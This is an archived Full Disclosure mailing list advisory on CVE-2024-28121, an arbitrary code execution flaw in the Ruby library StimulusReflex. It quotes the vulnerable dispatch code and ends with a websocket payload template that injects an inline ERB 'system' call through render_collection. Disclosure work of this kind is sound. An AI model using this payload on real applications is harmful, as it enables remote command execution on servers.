StimulusReflex CVE-2024-28121

Related Vulnerabilities: CVE-2024-28121  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="15"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#16">By Date</a>
<a href="17"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="15"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#16">By Thread</a>
<a href="17"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">StimulusReflex CVE-2024-28121</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: lixts via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Mon, 11 Mar 2024 19:22:15 +0000


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">StimulusReflex CVE-2024-28121

Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.

## Vulnerable code excerpt

stimulus_reflex/lib/stimulus_reflex/reflex.rb
```
  # Invoke the reflex action specified by `name` and run all callbacks
  def process(name, *args)
    run_callbacks(:process) { public_send(name, *args) }
  end
```

stimulus_reflex/app/channels/stimulus_reflex/channel.rb
```
  def delegate_call_to_reflex(reflex)
    method_name = reflex.method_name
    arguments = reflex.data.arguments
    method = reflex.method(method_name)

    policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)

    if policy.no_arguments?
      reflex.process(method_name)
    elsif policy.arguments?
      reflex.process(method_name, *arguments)
    else
      raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected 
#{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
    end
  end
```

stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
```
module StimulusReflex
  class ReflexMethodInvocationPolicy
    attr_reader :arguments, :required_params, :optional_params

    def initialize(method, arguments)
      @arguments = arguments
      @required_params = method.parameters.select { |(kind, _)| kind == :req }
      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }
    end

    def no_arguments?
      arguments.size == 0 &amp;&amp; required_params.size == 0
    end

    def arguments?
      arguments.size &gt;= required_params.size &amp;&amp; arguments.size &lt;= required_params.size + optional_params.size
    end

    def unknown?
      return false if no_arguments?
      return false if arguments?

      true
    end
  end
end
```

## Payload

Find a websocket message with target and args.
```
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"&lt;% system('[command here]') %&gt;\"}]
```
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="https://seclists.org/fulldisclosure/">https://seclists.org/fulldisclosure/</a>

</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="15"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#16">By Date</a>
<a href="17"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="15"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#16">By Thread</a>
<a href="17"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>StimulusReflex CVE-2024-28121</strong> <em>lixts via Fulldisclosure (Mar 13)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>